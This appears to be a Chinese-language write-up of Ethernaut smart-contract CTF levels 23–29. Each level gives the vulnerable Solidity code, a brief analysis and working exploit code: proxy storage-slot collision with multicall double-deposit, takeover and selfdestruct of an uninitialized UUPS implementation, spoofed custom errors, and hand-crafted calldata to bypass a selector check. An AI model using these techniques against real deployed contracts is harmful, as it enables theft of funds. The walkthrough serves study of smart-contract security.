Attack

1
2
3
4
5
6
7
8
9
10
11
12
contract DexTwoAttack is ERC20{
DexTwo target = DexTwo(0x7EbCe6F71630884F4aF1676Dd102D3B687B34eC6);
constructor() ERC20('token5', '0XB') {
_mint(address(target), 100);
_mint(msg.sender, 100);
}

function Attack(address _addr) public {
target.swap(_addr,0xE16F02277278f84FAdc973b793E230Cc01Dd2e68,100);
}

}

二十四.Puzzle Wallet

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;
pragma experimental ABIEncoderV2;

import "../helpers/UpgradeableProxy-08.sol";

contract PuzzleProxy is UpgradeableProxy {
address public pendingAdmin;
address public admin;

constructor(address _admin, address _implementation, bytes memory _initData) UpgradeableProxy(_implementation, _initData) {
admin = _admin;
}

modifier onlyAdmin {
require(msg.sender == admin, "Caller is not the admin");
_;
}

function proposeNewAdmin(address _newAdmin) external {
pendingAdmin = _newAdmin;
}

function approveNewAdmin(address _expectedAdmin) external onlyAdmin {
require(pendingAdmin == _expectedAdmin, "Expected new admin by the current admin is not the pending admin");
admin = pendingAdmin;
}

function upgradeTo(address _newImplementation) external onlyAdmin {
_upgradeTo(_newImplementation);
}
}

contract PuzzleWallet {
address public owner;
uint256 public maxBalance;
mapping(address => bool) public whitelisted;
mapping(address => uint256) public balances;

function init(uint256 _maxBalance) public {
require(maxBalance == 0, "Already initialized");
maxBalance = _maxBalance;
owner = msg.sender;
}

modifier onlyWhitelisted {
require(whitelisted[msg.sender], "Not whitelisted");
_;
}

function setMaxBalance(uint256 _maxBalance) external onlyWhitelisted {
require(address(this).balance == 0, "Contract balance is not 0");
maxBalance = _maxBalance;
}

function addToWhitelist(address addr) external {
require(msg.sender == owner, "Not the owner");
whitelisted[addr] = true;
}

function deposit() external payable onlyWhitelisted {
require(address(this).balance <= maxBalance, "Max balance reached");
balances[msg.sender] += msg.value;
}

function execute(address to, uint256 value, bytes calldata data) external payable onlyWhitelisted {
require(balances[msg.sender] >= value, "Insufficient balance");
balances[msg.sender] -= value;
(bool success, ) = to.call{ value: value }(data);
require(success, "Execution failed");
}

function multicall(bytes[] calldata data) external payable onlyWhitelisted {
bool depositCalled = false;
for (uint256 i = 0; i < data.length; i++) {
bytes memory _data = data[i];
bytes4 selector;
assembly {
selector := mload(add(_data, 32))
}
if (selector == this.deposit.selector) {
require(!depositCalled, "Deposit can only be called once");
// Protect against reusing msg.value
depositCalled = true;
}
(bool success, ) = address(this).delegatecall(data[i]);
require(success, "Error while delegating call");
}
}
}

Analysis

这道题用到了代理合约,但是插槽用的相同位置的,而代理合约之间的调用是用delegatecall()完成的,所以会覆盖掉,这道题思路很简单先调用proposeNewAdmin(address _newAdmin)修改pendingAdmin为自己的地址,再调用addToWhitelist(address addr)函数,其中对比了owner,而owner的插槽为slot 0,而在PuzzleProxy合约中的slot 0pendingAdmi所以绕过了判断条件,将自己的地址填入白名单,而想要修改代理合约的admin就要通过修改Puzzlewallet合约的maxBalance,就需要调用setMaxBalance()函数,首先要让该合约的余额为0,就需要用execute()函数去转走该合约的余额,但这个函数只能取走存入的钱的金额,所以就要利用multicall()函数,通过这个函数调用deposit()函数,再通过multicall()调用multicall()再调用deposit()函数即可达成存入一次钱,但是账户拥有金额为双倍。

Attack

1
2
3
4
5
6
7
8
9
10
11
12
selector = web3.eth.abi.encodeFunctionSignature("proposeNewAdmin(address)")
param = web3.eth.abi.encodeParameter("address", player)
data0 = selector + param
await web3.eth.sendTransaction({data:data0})
await contract.addToWhitelist(player)
data1 = web3.eth.abi.encodeFunctionSignature("deposit()")
data2 = web3.eth.abi.encodeFunctionSignature("multicall(bytes[])")
data3=web3.eth.abi.encodeParameter('bytes[]', [data1])
data4=data2+data3
await contract.multicall([data1, data3], { value: toWei('0.001') });
await contract.execute(player,1000000000000000)
await contract.setMaxBalance(player)

二十五.Motorbike

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
// SPDX-License-Identifier: MIT

pragma solidity <0.7.0;

import "openzeppelin-contracts-06/utils/Address.sol";
import "openzeppelin-contracts-06/proxy/Initializable.sol";

contract Motorbike {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

struct AddressSlot {
address value;
}

// Initializes the upgradeable proxy with an initial implementation specified by `_logic`.
constructor(address _logic) public {
require(Address.isContract(_logic), "ERC1967: new implementation is not a contract");
_getAddressSlot(_IMPLEMENTATION_SLOT).value = _logic;
(bool success,) = _logic.delegatecall(
abi.encodeWithSignature("initialize()")
);
require(success, "Call failed");
}

// Delegates the current call to `implementation`.
function _delegate(address implementation) internal virtual {
// solhint-disable-next-line no-inline-assembly
assembly {
calldatacopy(0, 0, calldatasize())
let result := delegatecall(gas(), implementation, 0, calldatasize(), 0, 0)
returndatacopy(0, 0, returndatasize())
switch result
case 0 { revert(0, returndatasize()) }
default { return(0, returndatasize()) }
}
}

// Fallback function that delegates calls to the address returned by `_implementation()`.
// Will run if no other function in the contract matches the call data
fallback () external payable virtual {
_delegate(_getAddressSlot(_IMPLEMENTATION_SLOT).value);
}

// Returns an `AddressSlot` with member `value` located at `slot`.
function _getAddressSlot(bytes32 slot) internal pure returns (AddressSlot storage r) {
assembly {
r_slot := slot
}
}
}

contract Engine is Initializable {
// keccak-256 hash of "eip1967.proxy.implementation" subtracted by 1
bytes32 internal constant _IMPLEMENTATION_SLOT = 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc;

address public upgrader;
uint256 public horsePower;

struct AddressSlot {
address value;
}

function initialize() external initializer {
horsePower = 1000;
upgrader = msg.sender;
}

// Upgrade the implementation of the proxy to `newImplementation`
// subsequently execute the function call
function upgradeToAndCall(address newImplementation, bytes memory data) external payable {
_authorizeUpgrade();
_upgradeToAndCall(newImplementation, data);
}

// Restrict to upgrader role
function _authorizeUpgrade() internal view {
require(msg.sender == upgrader, "Can't upgrade");
}

// Perform implementation upgrade with security checks for UUPS proxies, and additional setup call.
function _upgradeToAndCall(
address newImplementation,
bytes memory data
) internal {
// Initial upgrade and setup call
_setImplementation(newImplementation);
if (data.length > 0) {
(bool success,) = newImplementation.delegatecall(data);
require(success, "Call failed");
}
}

// Stores a new address in the EIP1967 implementation slot.
function _setImplementation(address newImplementation) private {
require(Address.isContract(newImplementation), "ERC1967: new implementation is not a contract");

AddressSlot storage r;
assembly {
r_slot := _IMPLEMENTATION_SLOT
}
r.value = newImplementation;
}
}

Analysis

这道题又是一个代理合约的题目,但是吸取了上一题的经验,对插槽的存储进行了优化,我们可以读取 0x360894a13ba1a3210667c828492db98dca3e2076cc3735a920a3ca505d382bbc来获取Engine合约的地址,读取了这个合约地址的变量就会发现它并没有实施初始化,我们就可以运行这个初始化函数将upgrader改为我们的地址,然后去实施攻击合约

Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
selector = web3.utils.keccak256("initialize()").slice(0,10)
await web3.eth.sendTransaction({from:player,to:engine,data:selector})

// SPDX-License-Identifier: MIT

pragma solidity 0.7.0;


contract Attack{
function attack(address payable _addr) public {
selfdestruct(_addr);
}
}

二十六.DoubleEntryPoint

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

import "openzeppelin-contracts-08/access/Ownable.sol";
import "openzeppelin-contracts-08/token/ERC20/ERC20.sol";

interface DelegateERC20 {
function delegateTransfer(address to, uint256 value, address origSender) external returns (bool);
}

interface IDetectionBot {
function handleTransaction(address user, bytes calldata msgData) external;
}

interface IForta {
function setDetectionBot(address detectionBotAddress) external;
function notify(address user, bytes calldata msgData) external;
function raiseAlert(address user) external;
}

contract Forta is IForta {
mapping(address => IDetectionBot) public usersDetectionBots;
mapping(address => uint256) public botRaisedAlerts;

function setDetectionBot(address detectionBotAddress) external override {
usersDetectionBots[msg.sender] = IDetectionBot(detectionBotAddress);
}

function notify(address user, bytes calldata msgData) external override {
if(address(usersDetectionBots[user]) == address(0)) return;
try usersDetectionBots[user].handleTransaction(user, msgData) {
return;
} catch {}
}

function raiseAlert(address user) external override {
if(address(usersDetectionBots[user]) != msg.sender) return;
botRaisedAlerts[msg.sender] += 1;
}
}

contract CryptoVault {
address public sweptTokensRecipient;
IERC20 public underlying;

constructor(address recipient) {
sweptTokensRecipient = recipient;
}

function setUnderlying(address latestToken) public {
require(address(underlying) == address(0), "Already set");
underlying = IERC20(latestToken);
}

/*
...
*/

function sweepToken(IERC20 token) public {
require(token != underlying, "Can't transfer underlying token");
token.transfer(sweptTokensRecipient, token.balanceOf(address(this)));
}
}

contract LegacyToken is ERC20("LegacyToken", "LGT"), Ownable {
DelegateERC20 public delegate;

function mint(address to, uint256 amount) public onlyOwner {
_mint(to, amount);
}

function delegateToNewContract(DelegateERC20 newContract) public onlyOwner {
delegate = newContract;
}

function transfer(address to, uint256 value) public override returns (bool) {
if (address(delegate) == address(0)) {
return super.transfer(to, value);
} else {
return delegate.delegateTransfer(to, value, msg.sender);
}
}
}

contract DoubleEntryPoint is ERC20("DoubleEntryPointToken", "DET"), DelegateERC20, Ownable {
address public cryptoVault;
address public player;
address public delegatedFrom;
Forta public forta;

constructor(address legacyToken, address vaultAddress, address fortaAddress, address playerAddress) {
delegatedFrom = legacyToken;
forta = Forta(fortaAddress);
player = playerAddress;
cryptoVault = vaultAddress;
_mint(cryptoVault, 100 ether);
}

modifier onlyDelegateFrom() {
require(msg.sender == delegatedFrom, "Not legacy contract");
_;
}

modifier fortaNotify() {
address detectionBot = address(forta.usersDetectionBots(player));

// Cache old number of bot alerts
uint256 previousValue = forta.botRaisedAlerts(detectionBot);

// Notify Forta
forta.notify(player, msg.data);

// Continue execution
_;

// Check if alarms have been raised
if(forta.botRaisedAlerts(detectionBot) > previousValue) revert("Alert has been triggered, reverting");
}

function delegateTransfer(
address to,
uint256 value,
address origSender
) public override onlyDelegateFrom fortaNotify returns (bool) {
_transfer(origSender, to, value);
return true;
}
}

Analysis

这道题我们不可以直接用CryptoVault调用sweepToken()去转走DET,但是我们可以调用LegacyToken,通过它的transfer()去调用DoubleEntryPointdelegateTransfer()转走代币,而CryptoVault拥有的LGT数量和DET相等,就可以掏空,所以我们这里要检测这个forta.notify(player, msg.data)中,msg.data里的origSender 是否是CryptoVault,如果是就调用raiseAlert()即可

Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
contract attack{
IForta a;
address cryptoVault;

constructor(address _a,address _cryptoVault){
a=IForta(_a);
cryptoVault=_cryptoVault;
}

function handleTransaction(address user, bytes calldata msgData) external{
address to;
uint256 value;
address origSender;
(to,value,origSender)=abi.decode(msgData[4:],(address,uint256,address));
if(origSender == cryptoVault)
{
a.raiseAlert(user);
}
}
}

二十七.Good Samaritan

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
// SPDX-License-Identifier: MIT
pragma solidity >=0.8.0 <0.9.0;

import "openzeppelin-contracts-08/utils/Address.sol";

contract GoodSamaritan {
Wallet public wallet;
Coin public coin;

constructor() {
wallet = new Wallet();
coin = new Coin(address(wallet));

wallet.setCoin(coin);
}

function requestDonation() external returns(bool enoughBalance){
// donate 10 coins to requester
try wallet.donate10(msg.sender) {
return true;
} catch (bytes memory err) {
if (keccak256(abi.encodeWithSignature("NotEnoughBalance()")) == keccak256(err)) {
// send the coins left
wallet.transferRemainder(msg.sender);
return false;
}
}
}
}

contract Coin {
using Address for address;

mapping(address => uint256) public balances;

error InsufficientBalance(uint256 current, uint256 required);

constructor(address wallet_) {
// one million coins for Good Samaritan initially
balances[wallet_] = 10**6;
}

function transfer(address dest_, uint256 amount_) external {
uint256 currentBalance = balances[msg.sender];

// transfer only occurs if balance is enough
if(amount_ <= currentBalance) {
balances[msg.sender] -= amount_;
balances[dest_] += amount_;

if(dest_.isContract()) {
// notify contract
INotifyable(dest_).notify(amount_);
}
} else {
revert InsufficientBalance(currentBalance, amount_);
}
}
}

contract Wallet {
// The owner of the wallet instance
address public owner;

Coin public coin;

error OnlyOwner();
error NotEnoughBalance();

modifier onlyOwner() {
if(msg.sender != owner) {
revert OnlyOwner();
}
_;
}

constructor() {
owner = msg.sender;
}

function donate10(address dest_) external onlyOwner {
// check balance left
if (coin.balances(address(this)) < 10) {
revert NotEnoughBalance();
} else {
// donate 10 coins
coin.transfer(dest_, 10);
}
}

function transferRemainder(address dest_) external onlyOwner {
// transfer balance left
coin.transfer(dest_, coin.balances(address(this)));
}

function setCoin(Coin coin_) external onlyOwner {
coin = coin_;
}
}

interface INotifyable {
function notify(uint256 amount) external;
}

Analysis

这道题很简单,GoodSamaritan合约会先调用Wallet合约的donate10()函数,这个函数会Coin合约中本地址代币数量是否小于10,如果没小于就会向目标地址发送10个代币,如果小于10就会抛出异常错误信息,而在GoodSamaritan合约中就会抓取错误信息,之后调用Wallet合约的transferRemainder()函数将本地址所有代币发送给调用者。所以我们只需要想办法抛出错误信息NotEnoughBalance()即可,这时我们发现Coin合约中的transfer()函数会检测目标地址是否为合约,如果是合约就会调用合约的notify()函数,所以我们可以在这个函数中检测当数量小于等于10时,抛出相同的错误信息即可

Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
contract Attack is INotifyable{
error NotEnoughBalance();
GoodSamaritan target = GoodSamaritan(0x918b40E961031a9F2F2Fc5c25F83b0BF821b98A0);

function attack() public{
target.requestDonation();
}
function notify(uint256 amount) external pure{
if(amount<=10)
{
revert NotEnoughBalance();
}
}
}

二十八.Gatekeeper Three

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract SimpleTrick {
GatekeeperThree public target;
address public trick;
uint private password = block.timestamp;

constructor (address payable _target) {
target = GatekeeperThree(_target);
}

function checkPassword(uint _password) public returns (bool) {
if (_password == password) {
return true;
}
password = block.timestamp;
return false;
}

function trickInit() public {
trick = address(this);
}

function trickyTrick() public {
if (address(this) == msg.sender && address(this) != trick) {
target.getAllowance(password);
}
}
}

contract GatekeeperThree {
address public owner;
address public entrant;
bool public allowEntrance;

SimpleTrick public trick;

function construct0r() public {
owner = msg.sender;
}

modifier gateOne() {
require(msg.sender == owner);
require(tx.origin != owner);
_;
}

modifier gateTwo() {
require(allowEntrance == true);
_;
}

modifier gateThree() {
if (address(this).balance > 0.001 ether && payable(owner).send(0.001 ether) == false) {
_;
}
}

function getAllowance(uint _password) public {
if (trick.checkPassword(_password)) {
allowEntrance = true;
}
}

function createTrick() public {
trick = new SimpleTrick(payable(address(this)));
trick.trickInit();
}

function enter() public gateOne gateTwo gateThree {
entrant = tx.origin;
}

receive () external payable {}
}

Analysis

这道题很简单需要我们通过三个modifier即可,第一个需要msg.sender是合约的owner,但tx.origin不是owner,这个条件我们只需要用合约去调用,并让合约成为owner即可,而让合约成为owner只需要调用constryct0r()就好,第二个验证让allowEntrance = true即可,我们只需要在一次交易内获取block.timestamp并且创建SimpleTrick即可,最后的验证需要本地址余额大于0.001 ether并且发送给owner 0.001 ether失败即可,就让合约在fallback()处添加个revert()就完成了

Attack

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
contract Attack{
GatekeeperThree target = GatekeeperThree(payable(0x24702dd8619d99fAAdA93C2B7303227EdE422bf4));
uint public password;

constructor() payable{
payable(target).send(0.002 ether);
}

function attack() public{
target.construct0r();
password = block.timestamp;
target.createTrick();
target.getAllowance(password);
target.enter();
}

fallback() external payable{
revert();
}
}

二十九.Switch

Code

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
// SPDX-License-Identifier: MIT
pragma solidity ^0.8.0;

contract Switch {
bool public switchOn; // switch is off
bytes4 public offSelector = bytes4(keccak256("turnSwitchOff()"));

modifier onlyThis() {
require(msg.sender == address(this), "Only the contract can call this");
_;
}

modifier onlyOff() {
// we use a complex data type to put in memory
bytes32[1] memory selector;
// check that the calldata at position 68 (location of _data)
assembly {
calldatacopy(selector, 68, 4) // grab function selector from calldata
}
require(
selector[0] == offSelector,
"Can only call the turnOffSwitch function"
);
_;
}

function flipSwitch(bytes memory _data) public onlyOff {
(bool success, ) = address(this).call(_data);
require(success, "call failed :(");
}

function turnSwitchOn() public onlyThis {
switchOn = true;
}

function turnSwitchOff() public onlyThis {
switchOn = false;
}

}

Analysis

这道题考验的是calldata的编写方式,只需要让calldata的68个字节后是bytes4(keccak256("turnSwitchOff()")),而实际偏移量不是68字节即可。

相关学习资料:https://blog.softbinator.com/solving-ethernaut-level-29-switch/

Attack

1
await sendTransaction({from: player, to: contract.address, data:"0x30c13ade0000000000000000000000000000000000000000000000000000000000000060000000000000000000000000000000000000000000000000000000000000000020606e1500000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000000476227e1200000000000000000000000000000000000000000000000000000000"})